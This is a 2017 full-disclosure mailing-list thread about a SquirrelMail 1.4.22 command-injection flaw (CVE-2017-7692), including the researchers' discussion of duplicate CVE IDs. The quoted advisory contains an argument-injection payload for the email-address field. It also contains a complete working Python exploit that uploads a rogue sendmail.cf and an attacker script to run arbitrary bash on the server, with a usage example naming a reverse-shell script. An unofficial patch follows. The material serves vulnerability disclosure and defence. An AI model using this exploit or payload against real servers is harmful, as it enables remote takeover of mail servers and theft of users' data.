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Message-ID: <CADSYzss4XfRZ7-PWHeHUy5OtRrHqFs2OQDNiEWrHevAs=bGQmA@mail.gmail.com>
Date: Sun, 23 Apr 2017 15:35:19 -0300
From: Dawid Golunski <dawid@...alhackers.com>
To: fulldisclosure@...lists.org
Cc: bugtraq@...urityfocus.com
Subject: Re: CVE-2017-7692: Squirrelmail 1.4.22 Remote Code Execution
Hi Filippo,
I received a reply from MITRE regarding which CVE to use in this
situation. Here is the reply I received:
'CVE-2017-7692 is now correct.
CVE-2017-5181 is no longer a valid ID number according to our
http://cve.mitre.org/cve/cna/CNA_Rules_v1.1.pdf policy. We fully
recognize that you made an earlier report of the discovery, but we
need to use the CVE ID number that first appears in a public
disclosure. '
So I can confirm we should be using the new/duplicated one that was
issued to you in April
instead of the one I got in January.
I've released my advisory (taking the new CVEID into the account) at:
https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html
and a quick PoC video at:
https://legalhackers.com/videos/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html
I attach a copy to this email as well.
Thanks
Regards,
Dawid Golunski
https://legalhackers.com
https://ExploitBox.io
t: @dawid_golunski
On Wed, Apr 19, 2017 at 2:17 PM, Filippo Cavallarin
<filippo.cavallarin@...resegment.com> wrote:
> Hi Dawid,
> ok great, I added the credits to the advisory.. now let's see what to do with the CVEs.
>
> Thanks!
> Filippo
>
>
>> On 19 Apr 2017, at 17:56, Dawid Golunski <dawid@...alhackers.com> wrote:
>>
>> Hi Filippo,
>>
>> From the feedback I received several weeks ago, the vendor was having
>> some life issues and was unable to respond to it so I decided to give
>> more time before disclosure in this case.
>> I've sent him a quick email now too to point at this thread in case
>> he manages to release an official patch any time soon.
>>
>> I will release my advisory/exploit shortly on my website
>> https://legalhackers.com seeing that it is now public.
>>
>> I'll verify with MITRE what to do with the duplicate CVEID and which
>> one should be used for this issue and let you know.
>>
>> Credit would be appreciated. I'll mention yours in my advisory too.
>>
>> Thanks.
>>
>>
>>
>>
>>
>>
>> On Wed, Apr 19, 2017 at 12:40 PM, Filippo Cavallarin
>> <filippo.cavallarin@...resegment.com> wrote:
>>> Hi Dawid,
>>> I tried quite hard to contact the vendor but without success, then I decided to release all the details and a fix..
>>> I think the CVE I got should be rejected and marked as duplicate, but I don't know how to handle situations like this.. any idea?
>>> In the meantime, do you want me to put your name in the credits on my website?
>>>
>>> Best,
>>> Filippo
>>>
>>>> On 19 Apr 2017, at 16:36, Dawid Golunski <dawid@...alhackers.com> wrote:
>>>>
>>>> Hi Filippo,
>>>>
>>>> I actually reported this vulnerability to the vendor at the beginning
>>>> of this year. I also got the following CVEID assigned for it in
>>>> January: CVE-2017-5181.
>>>> I was waiting on the vendor to patch the vulnerability since then
>>>> before I publish the details.
>>>>
>>>> Has he got back to you?
>>>>
>>>>
>>>>
>>>>
>>>> On Wed, Apr 19, 2017 at 10:07 AM, Filippo Cavallarin
>>>> <filippo.cavallarin@...resegment.com> wrote:
>>>>> Advisory ID: SGMA17-001
>>>>> Title: Squirrelmail Remote Code Execution
>>>>> Product: Squirrelmail
>>>>> Version: 1.4.22 and probably prior
>>>>> Vendor: squirrelmail.org
>>>>> Type: Command Injection
>>>>> Risk level: 4 / 5
>>>>> Credit: filippo.cavallarin@...resegment.com
>>>>> CVE: CVE-2017-7692
>>>>> Vendor notification: 2017-04-04
>>>>> Vendor fix: N/A
>>>>> Public disclosure: 2017-04-19
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> DETAILS
>>>>>
>>>>> Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote code execution vulnerability because
>>>>> it fails to sanitize a string before passing it to a popen call. It's possible to exploit this vulnerability to
>>>>> execute arbitrary shell commands on the remote server.
>>>>>
>>>>> The problem is in Deliver_SendMail.class.php on initStream function that uses escapeshellcmd() to sanitize the
>>>>> sendmail command before executing it. The use of escapeshellcmd() is not correct in this case since it don't
>>>>> escapes whitespaces allowing the injection of arbitrary command parameters.
>>>>>
>>>>> $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
>>>>> $stream = popen(escapeshellcmd($this->sendmail_command), "w");
>>>>>
>>>>>
>>>>> The $envelopefrom variable is controlled by the attacker, hence it's possible to trick sendmail to use an
>>>>> attacker-provided configuration file that triggers the execution of an arbitrary command.
>>>>>
>>>>> In order to exploit this vulnerability the MTA in use must be sendmail and Squirrelmail must be configured
>>>>> to use it as commandline (useSendmail directive of the config file set to true).
>>>>> Also, the edit_identity directive of the config file must be bet to true, but this is the default configuration.
>>>>>
>>>>> To reproduce the issue follow these steps:
>>>>> 1. Create a rogue sendmail.cf that triggers the execution of a /usr/bin/touch:
>>>>> [...]
>>>>> Mlocal, P=/usr/bin/touch, F=lsDFMAw5:/|@...9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
>>>>> T=DNS/RFC822/X-Unix,
>>>>> A=X /tmp/executed
>>>>> 2. Upload it as a mail attachment and get it's remote name (ex: lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)
>>>>> 3. Go to Options -> Personal Informations and set the following payload as Email Address:
>>>>> <aaa@....com -OQueueDirectory=/tmp -C /var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>
>>>>> 4. Send an email
>>>>> 5. Verify the execution of the command with "ls /tmp/executed" on the remote server
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> PROOF OF CONCEPT
>>>>>
>>>>> The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.
>>>>>
>>>>> BOF
>>>>> #!/usr/bin/env python
>>>>> # -*- coding: utf-8 -*-
>>>>>
>>>>> """
>>>>>
>>>>> SquirrelMail 1.4.22 Remote Code Execution (authenticated)
>>>>> Exploit code for CVE-2017-7692
>>>>> filippo.cavallarin@...resegment.com
>>>>>
>>>>> """
>>>>>
>>>>> from __future__ import unicode_literals
>>>>> import sys
>>>>> import os
>>>>> import re
>>>>> import requests
>>>>>
>>>>> reload(sys)
>>>>> sys.setdefaultencoding('utf8')
>>>>>
>>>>>
>>>>> SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce"
>>>>> COMPOSE = "/src/compose.php"
>>>>> INFOS = "/src/options.php?optpage=personal"
>>>>> SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/"
>>>>> # must be enclosed in <> otherwise spaces will be removed ..
>>>>> SENDER = "<px@...x.com -OQueueDirectory=/tmp -C %s%s>"
>>>>>
>>>>>
>>>>> SESSID = ""
>>>>> BASEURL = ""
>>>>>
>>>>>
>>>>> def attach(attachment):
>>>>> url = "%s%s" % (BASEURL, COMPOSE)
>>>>> token = get_csrf_token(url)
>>>>>
>>>>> values = {
>>>>> "smtoken": token,
>>>>> "attach": "add"
>>>>> }
>>>>>
>>>>> try:
>>>>> files = {'attachfile': open(attachment,'rb')}
>>>>> resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID})
>>>>> fname = re.search(r'att_local_name";s:[0-9]+:"([a-zA-Z0-9]+)"', resp.text)
>>>>> if not fname:
>>>>> print "\nError: unable to upload file %s" % attachment
>>>>> return fname.group(1)
>>>>>
>>>>> except Exception as e:
>>>>> print "\nError: %s" % e
>>>>> sys.exit(1)
>>>>>
>>>>>
>>>>> def send():
>>>>> url = "%s%s" % (BASEURL, COMPOSE)
>>>>> token = get_csrf_token(url)
>>>>>
>>>>> values = {
>>>>> "smtoken": token,
>>>>> "send_to": "root",
>>>>> "send": "Send"
>>>>> }
>>>>>
>>>>> try:
>>>>> resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
>>>>> except Exception as e:
>>>>> print "\nError: %s" % e
>>>>> sys.exit(1)
>>>>>
>>>>>
>>>>> def set_identity(sender):
>>>>> url = "%s%s" % (BASEURL, INFOS)
>>>>> token = get_csrf_token(url)
>>>>> values = {
>>>>> "smtoken": token,
>>>>> "optpage": "personal",
>>>>> "optmode": "submit",
>>>>> "new_email_address": sender,
>>>>> "submit_personal": "Submit"
>>>>> }
>>>>>
>>>>> try:
>>>>> requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
>>>>> except Exception as e:
>>>>> print "\nError: %s" % e
>>>>> sys.exit(1)
>>>>>
>>>>>
>>>>> def get_csrf_token(url):
>>>>> try:
>>>>> body = requests.get(url, cookies={'SQMSESSID':SESSID}).text
>>>>> inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE)
>>>>> token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0))
>>>>> if token:
>>>>> return token.group(1)
>>>>> except Exception as e:
>>>>> pass
>>>>>
>>>>> print "\nUnable to get CSRF token"
>>>>> sys.exit(1)
>>>>>
>>>>> def outw(s):
>>>>> sys.stdout.write(s)
>>>>> sys.stdout.flush()
>>>>>
>>>>> def main(argv):
>>>>> global BASEURL
>>>>> global SESSID
>>>>>
>>>>> if len(argv) != 4:
>>>>> print (
>>>>> "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - filippo.cavallarin@...resegment.com\n"
>>>>> "The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n"
>>>>> "Usage:\n"
>>>>> " %s <url> <session_id> <script>\n"
>>>>> " url: the url of squirrelmail\n"
>>>>> " session_id: the value of SQMSESSID cookie\n"
>>>>> " script: the path to the bash script to be executed on the target\n"
>>>>> "Example:\n"
>>>>> " %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh"
>>>>> ) % (argv[0], argv[0])
>>>>>
>>>>> sys.exit(1)
>>>>>
>>>>> BASEURL = argv[1]
>>>>> SESSID = argv[2]
>>>>> script = argv[3]
>>>>>
>>>>> outw("Uploading script ... ")
>>>>> script_fname = attach(script)
>>>>> print "ok"
>>>>>
>>>>>
>>>>> outw("Generating sendmail.cf ... ")
>>>>> try:
>>>>> script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname)
>>>>> with open(SENDMAILCF, 'w') as f:
>>>>> f.write(SENDMAILCF_CONTENT % script_path)
>>>>> except Exception as e:
>>>>> print "\nError: %s" % e
>>>>> sys.exit(1)
>>>>> print "ok"
>>>>>
>>>>> outw("Uploading sendmail.cf ... ")
>>>>> smc_fname = attach(SENDMAILCF)
>>>>> os.remove(SENDMAILCF)
>>>>> print "ok"
>>>>>
>>>>> outw("Updating user options ... ")
>>>>> sender = SENDER % (SQM_ATTACH_PATH, smc_fname)
>>>>> set_identity(sender)
>>>>> print "ok"
>>>>>
>>>>> outw("Checking identity field ... ")
>>>>> icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text
>>>>> if not smc_fname in icheck:
>>>>> print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false"
>>>>> sys.exit(1)
>>>>> print "ok"
>>>>>
>>>>> outw("Executing script ... ")
>>>>> send()
>>>>> print "ok\n"
>>>>> sys.exit(0)
>>>>>
>>>>> SENDMAILCF_CONTENT = """
>>>>> O DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
>>>>> Kdequote dequote
>>>>> Scanonify=3
>>>>> R$@ $@ <@>
>>>>> R$* $: $1 <@> mark addresses
>>>>> R$* < $* > $* <@> $: $1 < $2 > $3 unmark <addr>
>>>>> R@ $* <@> $: @ $1 unmark @host:...
>>>>> R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ] unmark IPv6 addr
>>>>> R$* :: $* <@> $: $1 :: $2 unmark node::addr
>>>>> R:include: $* <@> $: :include: $1 unmark :include:...
>>>>> R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon
>>>>> R$* : $* <@> $: $2 strip colon if marked
>>>>> R$* <@> $: $1 unmark
>>>>> R$* ; $1 strip trailing semi
>>>>> R$* < $+ :; > $* $@ $2 :; <@> catch <list:;>
>>>>> R$* < $* ; > $1 < $2 > bogus bracketed semi
>>>>> R$@ $@ :; <@>
>>>>> R$* $: < $1 > housekeeping <>
>>>>> R$+ < $* > < $2 > strip excess on left
>>>>> R< $* > $+ < $1 > strip excess on right
>>>>> R<> $@ < @ > MAIL FROM:<> case
>>>>> R< $+ > $: $1 remove housekeeping <>
>>>>> R@ $+ , $+ $2
>>>>> R@ [ $* ] : $+ $2
>>>>> R@ $+ : $+ $2
>>>>> R $+ : $* ; @ $+ $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax
>>>>> R $+ : $* ; $@ $1 : $2; list syntax
>>>>> R$+ @ $+ $: $1 < @ $2 > focus on domain
>>>>> R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right
>>>>> R$+ < @ $+ > $@ $>Canonify2 $1 < @ $2 > already canonical
>>>>> R$- ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > resolve uucp names
>>>>> R$+ . $- ! $+ $@ $>Canonify2 $3 < @ $1 . $2 > domain uucps
>>>>> R$+ ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > uucp subdomains
>>>>> R$* %% $* $1 @ $2 First make them all @s.
>>>>> R$* @ $* @ $* $1 %% $2 @ $3 Undo all but the last.
>>>>> R$* @ $* $@ $>Canonify2 $1 < @ $2 > Insert < > and finish
>>>>> R$* $@ $>Canonify2 $1
>>>>> SCanonify2=96
>>>>> R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all
>>>>> R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain
>>>>> R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain
>>>>> R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [addr]
>>>>> R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal
>>>>> R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr
>>>>> Sfinal=4
>>>>> R$+ :; <@> $@ $1 : handle <list:;>
>>>>> R$* <@> $@ handle <> and list:;
>>>>> R$* < @ $+ . > $* $1 < @ $2 > $3
>>>>> R$* < @ *LOCAL* > $* $1 < @ $j > $2
>>>>> R$* < $+ > $* $1 $2 $3 defocus
>>>>> R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route-addr> canonical
>>>>> R@ $* $@ @ $1 ... and exit
>>>>> R$+ @ $- . UUCP $2!$1 u@...UCP => h!u
>>>>> R$+ %% $=w @ $=w $1 @ $2 u%%host@...t => u@...t
>>>>> SRecurse=97
>>>>> R$* $: $>canonify $1
>>>>> R$* $@ $>parse $1
>>>>> Sparse=0
>>>>> R$* $: $>Parse0 $1 initial parsing
>>>>> R<@> $#local $: <@> special case error msgs
>>>>> R$* $: $>ParseLocal $1 handle local hacks
>>>>> R$* $: $>Parse1 $1 final parsing
>>>>> SParse0
>>>>> R<@> $@ <@> special case error msgs
>>>>> R$* : $* ; <@> $#error $@ 5.1.3 $: "553 List:; syntax illegal for recipient addresses"
>>>>> R@ <@ $* > < @ $1 > catch "@@host" bogosity
>>>>> R<@ $+> $#error $@ 5.1.3 $: "553 User address required"
>>>>> R$+ <@> $#error $@ 5.1.3 $: "553 Hostname required"
>>>>> R$* $: <> $1
>>>>> R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4
>>>>> R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4
>>>>> R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"
>>>>> R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3
>>>>> R<> $* <$* : $* > $* $#error $@ 5.1.3 $: "553 Colon illegal in host name part"
>>>>> R<> $* $1
>>>>> R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
>>>>> R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
>>>>> R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
>>>>> R$* @ $* < @ $* > $* $#error $@ 5.1.3 $: "553 Invalid route address"
>>>>> R$* , $~O $* $#error $@ 5.1.3 $: "553 Invalid route address"
>>>>> R$* < @ > $* $@ $>Parse0 $>canonify $1 user@ => user
>>>>> R< @ $=w . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...
>>>>> R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
>>>>> R< @ $+ > $#error $@ 5.1.3 $: "553 User address required"
>>>>> R$* $=O $* < @ $=w . > $@ $>Parse0 $>canonify $1 $2 $3 ...@...e -> ...
>>>>> R$- $: $(dequote $1 $) < @ *LOCAL* > dequote "foo"
>>>>> R< @ *LOCAL* > $#error $@ 5.1.3 $: "553 User address required"
>>>>> R$* $=O $* < @ *LOCAL* >
>>>>> $@ $>Parse0 $>canonify $1 $2 $3 ...@...CAL* -> ...
>>>>> R$* < @ *LOCAL* > $: $1
>>>>> SParse1
>>>>> R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3 numeric internet spec
>>>>> R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3 Add smart host to path
>>>>> R$* < @ [ $+ ] : > $* $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: send
>>>>> R$* < @ [ $+ ] : $- : $*> $* $#$3 $@ $4 $: $1 < @ [$2] > $5 smarthost with mailer
>>>>> R$* < @ [ $+ ] : $+ > $* $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost without mailer
>>>>> R$=L < @ $=w . > $#local $: @ $1 special local names
>>>>> R$+ < @ $=w . > $#local $: $1 regular local name
>>>>> R$* < @ $* > $* $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name
>>>>> R$* < @$* > $* $#esmtp $@ $2 $: $1 < @ $2 > $3 user@...t.domain
>>>>> R$=L $#local $: @ $1 special local names
>>>>> R$+ $#local $: $1 regular local names
>>>>> SLocal_localaddr
>>>>> Slocaladdr=5
>>>>> R$+ $: $1 $| $>"Local_localaddr" $1
>>>>> R$+ $| $#ok $@ $1 no change
>>>>> R$+ $| $#$* $#$2
>>>>> R$+ $| $* $: $1
>>>>> R$+ + * $#local $@ $&h $: $1
>>>>> R$+ + $* $#local $@ + $2 $: $1 + *
>>>>> R$+ $: <> $1
>>>>> R< > $+ $: < > < $1 <> $&h > nope, restore +detail
>>>>> R< > < $+ <> + $* > $: < > < $1 + $2 > check whether +detail
>>>>> R< > < $+ <> $* > $: < > < $1 > else discard
>>>>> R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part
>>>>> R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra +
>>>>> R< > < $+ > $@ $1 no +detail
>>>>> R$+ $: $1 <> $&h add +detail back in
>>>>> R$+ <> + $* $: $1 + $2 check whether +detail
>>>>> R$+ <> $* $: $1 else discard
>>>>> R< local : $* > $* $: $>MailerToTriple < local : $1 > $2 no host extension
>>>>> R< error : $* > $* $: $>MailerToTriple < error : $1 > $2 no host extension
>>>>> R< $~[ : $+ > $+ $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >
>>>>> R< $+ > $+ $@ $>MailerToTriple < $1 > $2 < @ $1 >
>>>>> SParseLocal=98
>>>>> SEnvFromL
>>>>> R<@> $n errors to mailer-daemon
>>>>> R@ <@ $*> $n temporarily bypass Sun bogosity
>>>>> R$+ $: $>AddDomain $1 add local domain if needed
>>>>> R$* $: $>MasqEnv $1 do masquerading
>>>>> SEnvToL
>>>>> R$+ < @ $* > $: $1 strip host part
>>>>> R$+ + $* $: < $&{addr_type} > $1 + $2 mark with addr type
>>>>> R<e s> $+ + $* $: $1 remove +detail for sender
>>>>> R< $* > $+ $: $2 else remove mark
>>>>> SHdrFromL
>>>>> R<@> $n errors to mailer-daemon
>>>>> R@ <@ $*> $n temporarily bypass Sun bogosity
>>>>> R$+ $: $>AddDomain $1 add local domain if needed
>>>>> R$* $: $>MasqHdr $1 do masquerading
>>>>> SHdrToL
>>>>> R$+ $: $>AddDomain $1 add local domain if needed
>>>>> R$* $: $>MasqHdr $1 do all-masquerading
>>>>> SAddDomain
>>>>> R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified
>>>>> R$+ $@ $1 < @ *LOCAL* > add local qualification
>>>>> Mlocal, P=/bin/bash, F=lsDFMAw5:/|@...9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
>>>>> T=DNS/RFC822/X-Unix,
>>>>> A=X %s
>>>>> Mprog, P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/,
>>>>> T=X-Unix/X-Unix/X-Unix,
>>>>> A=sh -c $u
>>>>>
>>>>> """
>>>>>
>>>>> if __name__ == '__main__':
>>>>> main(sys.argv)
>>>>>
>>>>> EOF
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> SOLUTION
>>>>>
>>>>> Since the vendor did not respond to our mails, no official fix is available.
>>>>> However, the following unofficial patch can be used to fix this vulnerability.
>>>>>
>>>>> BOF
>>>>> diff -ruN squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php
>>>>> --- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php 2011-01-06 02:44:03.000000000 +0000
>>>>> +++ squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php 2017-04-18 11:42:26.505181944 +0000
>>>>> @@ -93,9 +93,9 @@
>>>>> $envelopefrom = trim($from->mailbox.'@...from->host);
>>>>> $envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom);
>>>>> // save executed command for future reference
>>>>> - $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
>>>>> + $this->sendmail_command = escapeshellcmd("$sendmail_path $this->sendmail_args -f") . escapeshellarg($envelopefrom);
>>>>> // open process handle for writing
>>>>> - $stream = popen(escapeshellcmd($this->sendmail_command), "w");
>>>>> + $stream = popen($this->sendmail_command, "w");
>>>>> return $stream;
>>>>> }
>>>>> EOF
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> REFERENCES
>>>>>
>>>>> https://squirrelmail.org/
>>>>> https://www.wearesegment.com/research/Squirrelmail-Remote-Code-Execution.html
>>>>>
>>>>>
>>>>
>>>>
>>>>
>>>> --
>>>> Regards,
>>>> Dawid Golunski
>>>> https://legalhackers.com
>>>> t: @dawid_golunski
>>>
>>
>>
>>
>> --
>> Regards,
>> Dawid Golunski
>> https://legalhackers.com
>> t: @dawid_golunski
>
View attachment "SquirrelMail_RCE_exploit.txt" of type "text/plain" (16208 bytes)
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